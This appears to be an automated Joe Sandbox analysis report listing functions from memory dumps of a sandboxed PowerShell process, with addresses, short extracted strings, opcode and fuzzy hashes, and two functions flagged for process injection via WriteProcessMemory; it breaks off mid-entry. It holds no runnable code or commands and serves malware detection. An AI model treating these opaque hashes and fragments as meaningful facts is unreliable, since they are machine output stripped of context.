String ID: (ffj$(ffj$4']q$h2Yi$x.Wi
API String ID: 0-151569111
Opcode ID: 40b0be321c47273b673765bd3a15fccfeee12b9a6919f82d0aabf94ffc4c7a5e
Instruction ID: bc8c69d0a01640881b79bfdef69b101e5cd5fe49a8eb960f933fe0c5dc55248b
Opcode Fuzzy Hash: 40b0be321c47273b673765bd3a15fccfeee12b9a6919f82d0aabf94ffc4c7a5e
Instruction Fuzzy Hash: 1E125BB4A01205DFDB54CF58C584A6ABBF2FF86304F14C269E905AB395CB72EC42DB91

Function 0709ED28 Relevance: 5.8, Strings: 4, Instructions: 768COMMON

Download Yara Rule

Strings

4']q, xrefs: 0709EE48
4']q, xrefs: 0709EE3C
rfj, xrefs: 0709EDB0
rfj, xrefs: 0709EDA6

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$rfj$rfj
API String ID: 0-3708347381
Opcode ID: 456c8f5a3e11efa0414438d0b8fdfd3a8dc5848f88d7541b629c9dff31b8bd95
Instruction ID: 6ea88f34db8ae176ee3c4f7d7ec56871b6018b89e825462d75d1248276693243
Opcode Fuzzy Hash: 456c8f5a3e11efa0414438d0b8fdfd3a8dc5848f88d7541b629c9dff31b8bd95
Instruction Fuzzy Hash: 7E4233B1B042068FCF54DF68D850AAABBF6EFC5310F28857AD905CB251DB31E941DBA1

Function 06C2DEB3 Relevance: 5.5, Strings: 4, Instructions: 529COMMON

Download Yara Rule

Strings

$]q, xrefs: 06C2E1FA
,aq, xrefs: 06C2E38A
$]q, xrefs: 06C2E1A1
4, xrefs: 06C2E2A5

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: ,aq$4$$]q$$]q
API String ID: 0-520366050
Opcode ID: c5529cf02594cd1553c6d8464aa6229f5d29e82794a536571959fde58d0ccff3
Instruction ID: 2c41307d8118c48c7c9f7465bc2cfefb45a2c84fe4a52f3370eaee42c82e6431
Opcode Fuzzy Hash: c5529cf02594cd1553c6d8464aa6229f5d29e82794a536571959fde58d0ccff3
Instruction Fuzzy Hash: 5C32FB74A00229CFDB54CFA8C994BADB7B2BF48700F158599E905AB3A5DB70ED81CF50

Function 070982F8 Relevance: 5.5, Strings: 4, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(ffj, xrefs: 070986F0
x.Wi, xrefs: 07098862
(ffj, xrefs: 0709850A
4']q, xrefs: 0709881A

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID: (ffj$(ffj$4']q$x.Wi
API String ID: 0-253118808
Opcode ID: 27fdf9c5186ee360ca2b95e1d1f3f28d274587069e0f78d081c9d99dc2648a46
Instruction ID: 2b7a93be404e66eca7cf1f5a1a3ccfb8c8eb573703c1422c07534c624505529e
Opcode Fuzzy Hash: 27fdf9c5186ee360ca2b95e1d1f3f28d274587069e0f78d081c9d99dc2648a46
Instruction Fuzzy Hash: BC127CB4A01205DFDB64CF58C584A6ABBF2FF86304F14C269E9159B395CB72EC42DB81

Function 07090488 Relevance: 5.2, Strings: 4, Instructions: 163
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 07090599
\j, xrefs: 07090623
4']q, xrefs: 0709058D
\j, xrefs: 07090615

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$\j$\j
API String ID: 0-3679242582
Opcode ID: 36e1509e1fc11c3a9d499df78c70c3dbc1cad2d86e190502abdaa6f35fa80e1a
Instruction ID: 723efd4c495ebadaad42247f3e957163218d149b98995b43ae7e4c41228c39d0
Opcode Fuzzy Hash: 36e1509e1fc11c3a9d499df78c70c3dbc1cad2d86e190502abdaa6f35fa80e1a
Instruction Fuzzy Hash: 615136B07052079FCF655A39882476F7BE5AF82310F1481BAD446CB292DF79C985D3B2

Function 07095910 Relevance: 5.1, Strings: 4, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

84dj, xrefs: 0709593B
tP]q, xrefs: 07095996
84dj, xrefs: 07095947
tP]q, xrefs: 070959A2

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID: 84dj$84dj$tP]q$tP]q
API String ID: 0-1072731159
Opcode ID: a48c10c1492980a7a9d24601bc237d31b75952fa0122092f98d4d07d12fd6d9d
Instruction ID: 38d605a522d3bcf8f177ade7133223e8a7cefa47869f55f52f1f06443bf6acee
Opcode Fuzzy Hash: a48c10c1492980a7a9d24601bc237d31b75952fa0122092f98d4d07d12fd6d9d
Instruction Fuzzy Hash: 20417B70B00259AFCB219BA98C15B6EBFE1EF85720F14C56AE944DF2C1CA719C01C3B2

Function 06C2F470 Relevance: 2.7, Strings: 2, Instructions: 176
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 06C2F605
(aq, xrefs: 06C2F576

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: (aq$Haq
API String ID: 0-3785302501
Opcode ID: 1c95aafa1123d08a1ffd91f453135f3dbac0094d04d575c59af49bc16a0a1a30
Instruction ID: 3e4ddbc0d60b4442d4a8285e5a777025c4b6d2798838a76c9e12a4ba46afdf14
Opcode Fuzzy Hash: 1c95aafa1123d08a1ffd91f453135f3dbac0094d04d575c59af49bc16a0a1a30
Instruction Fuzzy Hash: 2351AB317402158FC799EF39C454A6E7BB6AFC9311B2084ACD9168B3A5CF35EE06CB91

Function 0709EE54 Relevance: 2.7, Strings: 2, Instructions: 175COMMON

Download Yara Rule

Strings

(o]q, xrefs: 0709EE97
(o]q, xrefs: 0709EEA3

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID: (o]q$(o]q
API String ID: 0-1858875562
Opcode ID: bbcc218e38ab033dbdb7d54bc4ee6986ee9554313c15bc28eb97fe8fb488d6e0
Instruction ID: 6bf35ec9a55cd358e1d4556af97966f935ed91a89b86a02442faf97c5e294e85
Opcode Fuzzy Hash: bbcc218e38ab033dbdb7d54bc4ee6986ee9554313c15bc28eb97fe8fb488d6e0
Instruction Fuzzy Hash: 3251F2B1B00106CFCF54DF54C990A69BBE6AF81300F5985BAE905CF2A5DB32EC41DBA1

Function 070958EF Relevance: 2.6, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

84dj, xrefs: 0709593B
tP]q, xrefs: 07095996

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID: 84dj$tP]q
API String ID: 0-809934117
Opcode ID: fdc41fa141d14ce048014f822914924dc8d58a0ab6c4b1d3966caaf762b93d9b
Instruction ID: d443a78c7752d95bf18306dbda0e60a7271862f02596679ff2e04c316a8b6248
Opcode Fuzzy Hash: fdc41fa141d14ce048014f822914924dc8d58a0ab6c4b1d3966caaf762b93d9b
Instruction Fuzzy Hash: D9214870A042959FCB128F69CC51B29BFF1FF46720F1985AAE9849F2D2C7309C15C3A1

Function 07095C4C Relevance: 2.6, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 07095C7A
$]q, xrefs: 07095C9B

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: fd20981ce0b72fc590ecbacb02a7a3425635bb778f3bdaec3f3cc0a94c66aa00
Instruction ID: da79efebb81c6b57fdb183ea82190f077094ccd96b595fe331ecdde47b878ffb
Opcode Fuzzy Hash: fd20981ce0b72fc590ecbacb02a7a3425635bb778f3bdaec3f3cc0a94c66aa00
Instruction Fuzzy Hash: 0711E2F5209342CFDB278B16DD41925BBF1AF82224B2882B7D914CB2D2E731D851DB61

Function 06BDCA60 Relevance: 2.5, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 06BDD114
A, xrefs: 06BDD13D

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID: ($A
API String ID: 0-959209194
Opcode ID: 0883d12def63a09ba18886665d1d10216abbbcde3c983636f8e4d77e48b89af6
Instruction ID: 9f3c57dfa67d649555cdb8ac2e0d4245fd96cdeb4cf2ac2d32b3ed910a8258fb
Opcode Fuzzy Hash: 0883d12def63a09ba18886665d1d10216abbbcde3c983636f8e4d77e48b89af6
Instruction Fuzzy Hash: 9011F8B0914219CFDB64DF18D899BDEBBB5FB88344F1085E9D50AAB241DB349E85CF40

Function 06C07268 Relevance: 2.5, Strings: 2, Instructions: 35COMMON

Download Yara Rule

Strings

TJbq, xrefs: 06C072A2
), xrefs: 06C072CF

Memory Dump Source

Source File: 00000003.00000002.2846351555.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c00000_powershell.jbxd

Similarity

API ID:
String ID: )$TJbq
API String ID: 0-3968574709
Opcode ID: 824d299ccff592c032249622610df65f38e283daf9dd69ea66930a07c07187a0
Instruction ID: 4f4a4cffd3793b8e618f8d093ac1aa36b3d8ffdab0aed2adb8f1f70b9a17003b
Opcode Fuzzy Hash: 824d299ccff592c032249622610df65f38e283daf9dd69ea66930a07c07187a0
Instruction Fuzzy Hash: B611F370A05218DFEB54DF69D948BA9BBB1FF0A300F1080E9D40DA7292CB305E84CF65

Function 06BDC8FD Relevance: 2.5, Strings: 2, Instructions: 31COMMON

Download Yara Rule

Strings

(, xrefs: 06BDD114
A, xrefs: 06BDD13D

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID: ($A
API String ID: 0-959209194
Opcode ID: 021c10ca9085c4bcd8d8b6404a0777d6a49bc7945b54de82cf67bfdd238551c5
Instruction ID: 564a9aa0df7f812367e770c45e2ff30a7db00415a67824c1cc8f1b3b284b668f
Opcode Fuzzy Hash: 021c10ca9085c4bcd8d8b6404a0777d6a49bc7945b54de82cf67bfdd238551c5
Instruction Fuzzy Hash: D50112B4915218CFDB50CF18D888B9ABBB6FB88340F10C5EAD50EAB241DB309E81CF40

Function 06F79E03 Relevance: 2.5, Strings: 2, Instructions: 28COMMON

Download Yara Rule

Strings

4']q, xrefs: 06F79E29
4']q, xrefs: 06F79E35

Memory Dump Source

Source File: 00000003.00000002.2848475660.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: af4e40b2083e14158436eabb5125f8358516cd44bbe0360113c9749959de89e4
Instruction ID: cb376346891f26ebe19c76cb3175fc0b0b3b4294aa3945ec2f1c72d9e945fa4c
Opcode Fuzzy Hash: af4e40b2083e14158436eabb5125f8358516cd44bbe0360113c9749959de89e4
Instruction Fuzzy Hash: 85F02B31B0510D8FDB48DF6CC4504A577A2FF85670765469BE091CB2B0CB308C11C3B2

Function 06BDCEA6 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

/, xrefs: 06BDCEB1
0, xrefs: 06BDD01F

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID: /$0
API String ID: 0-459344325
Opcode ID: 125597de6359904ef02b440654d419456ee0d9b89454a68641af92d8d1472eec
Instruction ID: 948c0c0f65f9f600e169fb488614ea88fca47a47beda930eee7f9287006b2795
Opcode Fuzzy Hash: 125597de6359904ef02b440654d419456ee0d9b89454a68641af92d8d1472eec
Instruction Fuzzy Hash: 18F0F974905219CFDF20CF20C948BAEBBB5FB44344F1091E9C40A67291D7345E86CF40

Function 06963D4B Relevance: 1.8, APIs: 1, Instructions: 264injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,00000001), ref: 069640C5

Memory Dump Source

Source File: 00000003.00000002.2844391654.0000000006960000.00000040.00000800.00020000.00000000.sdmp, Offset: 06960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6960000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: be5e301b9c436a3f5382ad3fbab1ef7d2c2d4a76dbe40ea623cce37952d44ce3
Instruction ID: ee731a62d27bd9a0fff1828595bfa8e70d02e179326719835f13f7cc1ae283db
Opcode Fuzzy Hash: be5e301b9c436a3f5382ad3fbab1ef7d2c2d4a76dbe40ea623cce37952d44ce3
Instruction Fuzzy Hash: 1DB10574A00209EFDB45DFA9D584A9EBBF6FF88310F248459E805AB761C735ED81CB90

Function 069630B0 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE ref: 0696315F

Memory Dump Source

Source File: 00000003.00000002.2844391654.0000000006960000.00000040.00000800.00020000.00000000.sdmp, Offset: 06960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6960000_powershell.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 1e058fce6d996876912fd31f882ddac81a8ab1d2bb184c83949a257a204cb664
Instruction ID: bfd527faecb43e7329fcc6bac077bcc437a09bd261f1f8be23d2ac922c945160
Opcode Fuzzy Hash: 1e058fce6d996876912fd31f882ddac81a8ab1d2bb184c83949a257a204cb664
Instruction Fuzzy Hash: D421A0B1C093998FCB01DFADD9506CEBFF4AF06314F1480AAC454AB652C3785449CBE5

Function 06964038 Relevance: 1.6, APIs: 1, Instructions: 61injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,00000001), ref: 069640C5

Memory Dump Source

Source File: 00000003.00000002.2844391654.0000000006960000.00000040.00000800.00020000.00000000.sdmp, Offset: 06960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6960000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4bcdc9d32fb38ff190c215a3c1f4c785e5e3fecd700c57711f268d52867c15dc
Instruction ID: 8ce8f851931ebab8724621357773be109ee06ea451afce80540655699d26db20
Opcode Fuzzy Hash: 4bcdc9d32fb38ff190c215a3c1f4c785e5e3fecd700c57711f268d52867c15dc
Instruction Fuzzy Hash: 6021F0B5900359DFCB10DF9AD884ADEBBF4FB48310F10842AE918A7350D378A944CFA0

Function 06C2C9B8 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

3(, xrefs: 06C2CC9B, 06C2CCA0

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: 3(
API String ID: 0-636442966
Opcode ID: 158d8107f973444ff547c1724ede6a6febe420b50b89c3e9e5a0e503d75860ff
Instruction ID: 78227a868b75a1a00639b468e0c836370adff62e7451aca8497ea10bb4800977
Opcode Fuzzy Hash: 158d8107f973444ff547c1724ede6a6febe420b50b89c3e9e5a0e503d75860ff
Instruction Fuzzy Hash: 07A19C75A01225DFCB45DFA9D954AADBBF2EF88310F1080A9E901EB391DB35DE41CB90

Function 06C086E6 Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

@, xrefs: 06C0879C

Memory Dump Source

Source File: 00000003.00000002.2846351555.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c00000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: b01d736c68d0024640086c7a1bcac51c689699832e07015abcecb4787a29845c
Instruction ID: 557a341e676c786bba6cd3ba7aaa44e7a50d6ed920c50ed84d46390c9b84cda9
Opcode Fuzzy Hash: b01d736c68d0024640086c7a1bcac51c689699832e07015abcecb4787a29845c
Instruction Fuzzy Hash: 4FB1B174A05228CFEF61DF69D854B9ABBB2BB89300F1081E9E50DA7394DB305E85CF50

Function 06C2C2C8 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

(aq, xrefs: 06C2C33C

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: b2d96bdc30fd6c4283798143d67a32fd1f6c5f106852e1ff53453a1e3b986228
Instruction ID: 7e5527388fc1af0837130ffe61876dc0b729d266d1aa5dad41d8cee5b7f2c8be
Opcode Fuzzy Hash: b2d96bdc30fd6c4283798143d67a32fd1f6c5f106852e1ff53453a1e3b986228
Instruction Fuzzy Hash: 2451F131A002568FCB41CF28C4849AEFBB1FF86320B5A859AD915DB252C730FD52CBD0

Function 07090468 Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

4']q, xrefs: 0709058D

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 5251f174cb7be4f86a3b097452c5c6c28a10ee48d74bc9072c9b7794622fa888
Instruction ID: 598fcf37cb4777a1f12795985f474d2a744f2b859ac8ce2cd6dc535fdb1911e5
Opcode Fuzzy Hash: 5251f174cb7be4f86a3b097452c5c6c28a10ee48d74bc9072c9b7794622fa888
Instruction Fuzzy Hash: F33131F0606307AFDF619A31891437E7FE1AF42210F0442B6D549CB1A2DBB8C981E7B2

Function 06C2FD80 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<]q, xrefs: 06C2FDBA

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: p<]q
API String ID: 0-1327301063
Opcode ID: 385cdeb558abc7ffd7baa176061bb695629b4b692dd87c43f5792468d158bcff
Instruction ID: 84be4cf47575b9766c919aa7787966e23dcf6cf45a996768490bd7dec691431b
Opcode Fuzzy Hash: 385cdeb558abc7ffd7baa176061bb695629b4b692dd87c43f5792468d158bcff
Instruction Fuzzy Hash: 31218E7134016A9FDB41CF2AC840AAA7BFAAF89710F054099FC54CB365DA35DD50CB60

Function 06F7A1EC Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

(o]q, xrefs: 06F7A2A9

Memory Dump Source

Source File: 00000003.00000002.2848475660.0000000006F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f70000_powershell.jbxd

Similarity

API ID:
String ID: (o]q
API String ID: 0-794736227
Opcode ID: 0e8537a46fd9bd77b03fb860ec3295b55effcd67f83ebc069ee0a8b6f1af5496
Instruction ID: a427e465f0d6fc50353328c7f72ad473b370b709d97acfcffdffd17ae6227f17
Opcode Fuzzy Hash: 0e8537a46fd9bd77b03fb860ec3295b55effcd67f83ebc069ee0a8b6f1af5496
Instruction Fuzzy Hash: 8721AF31E05208DFEBD49F16C859B6D77A1BB42301F0684ABE4164A190DB76D890CB91

Function 06BDC26E Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

', xrefs: 06BDD375

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID: '
API String ID: 0-1997036262
Opcode ID: e818d72a2e491df0ab6249dfbc037f3f7bb17a2005e61876347b1da57588110a
Instruction ID: b16f1cb68996e7a9603b7c17cb89d902b4193f9ff5d962c48d3311e8264e7ab3
Opcode Fuzzy Hash: e818d72a2e491df0ab6249dfbc037f3f7bb17a2005e61876347b1da57588110a
Instruction Fuzzy Hash: 5F21E374A052688FDB51DF64D944BDEBBB6EF89340F1080E9D90AAB290DB315E81CF40

Function 06BDE2D9 Relevance: 1.3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

Strings

, xrefs: 06BDE2E7

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 223f20e35cc333f0f27dd0bc9ec58eebff95fb68d9a1dcc480b98a3eb57a529c
Instruction ID: 3b3581a1d1f45b7652e0d35bfbfb6691d24980df7d542fbdf86656a07c33f1d5
Opcode Fuzzy Hash: 223f20e35cc333f0f27dd0bc9ec58eebff95fb68d9a1dcc480b98a3eb57a529c
Instruction Fuzzy Hash: F801A270A05228CFDB61CF14D954BDAB7B2FB49300F1080E6D64DAB290EB709E85CF51

Function 06BDC902 Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

&, xrefs: 06BDC973

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: be59fd83cc05283399e3cbebe3998820e1527432b074dc1d759ebdb641791993
Instruction ID: efc62d767e185022c9f5f568707ad3a791b1d3fa61cbccb1862a5afa08513b1d
Opcode Fuzzy Hash: be59fd83cc05283399e3cbebe3998820e1527432b074dc1d759ebdb641791993
Instruction Fuzzy Hash: CE0124B091025ADBCF11CF54C850BCABB71FF49358F108685E60A6B250DB75AEC5CF80

Function 06BDCFCB Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

0, xrefs: 06BDD01F

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: ec527b7cad2ad6ff306fc8fe3bff2d9e26c61508f561c9c147449dc4f74961d6
Instruction ID: d51e04fa88b95dc336a4871c98e924ba1fbfc5821172fa4252085efcc86287f7
Opcode Fuzzy Hash: ec527b7cad2ad6ff306fc8fe3bff2d9e26c61508f561c9c147449dc4f74961d6
Instruction Fuzzy Hash: D8F0D474908219CFDB11DF21C958BA9BBB1FF44345F1481E9D40AA7292E7355E86CF40

Function 0709BE43 Relevance: .6, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2848755771.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7090000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d846940743de1cee0488676697b09a7fa5de856a934eb1ac29c1630462d4d094
Instruction ID: f0f3acc294f605913660c5ddb47d5fa31ca82ae6ba31e038ae9073407c5f019f
Opcode Fuzzy Hash: d846940743de1cee0488676697b09a7fa5de856a934eb1ac29c1630462d4d094
Instruction Fuzzy Hash: 90425CB4B002158FDB64CB18C990B69BBF2EF85314F15C1A9E9099B352CB72ED81CF91

Function 00B029F0 Relevance: .5, Instructions: 485COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2815231973.0000000000B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6bfbe39a25c28df41967d98e371595b233512766a53e7d1c8d623692c802dfa
Instruction ID: 9bfa6d15f0d36d8881626ed89021d0f65b77c49887b1660187517b93ee6a73bf
Opcode Fuzzy Hash: a6bfbe39a25c28df41967d98e371595b233512766a53e7d1c8d623692c802dfa
Instruction Fuzzy Hash: 9602D2719093819FC707CF68C8A49AABFB0EF56310B1946D7D490DB2A3C639ED49C7A1

Function 06C07853 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846351555.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8cb7d5bc954c9d2ed696a965dd097cc968088d89f74e27b5232b098b2ff4244
Instruction ID: e3b3dada37951e20900603cf9fae0cce4253570a159632fe19b9dae5ba6a6817
Opcode Fuzzy Hash: b8cb7d5bc954c9d2ed696a965dd097cc968088d89f74e27b5232b098b2ff4244
Instruction Fuzzy Hash: A1712B6090A281AEF3AB577C9C54EEABFA9DB03290F18468DE0C1B65D2D2252641C3F1

Function 06BD9BCA Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79026034449416c70e19ecf461b17a7d295664b354f18e64f34fade70da86a2e
Instruction ID: 431d1a987e77f3653eef41a21fbf0dd770cc7a81c62afefac104dfa0a53fc069
Opcode Fuzzy Hash: 79026034449416c70e19ecf461b17a7d295664b354f18e64f34fade70da86a2e
Instruction Fuzzy Hash: 81B1FA74A15218CFDB94DF64D995BAEBBB2FB88340F1081E9D509AB394DB305E85CF40

Function 00B0CB20 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2815231973.0000000000B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e760ead21bbca813e38941fae1cbb612fa63f357796d93be843369c97daccd8
Instruction ID: fb70a223e5b6f4550faa5f1dcf60904e3dbe238c8de78aa9faaaf7560f25f472
Opcode Fuzzy Hash: 3e760ead21bbca813e38941fae1cbb612fa63f357796d93be843369c97daccd8
Instruction Fuzzy Hash: E691D834A01248EFDB15CF99D584A9DBFF2FF88304F2586A9E405A73A1CB75AD45CB80

Function 06BDA658 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1813dc37748a9fa666d8122d726e98c0ce5ea9df23340dee89b82cc048693589
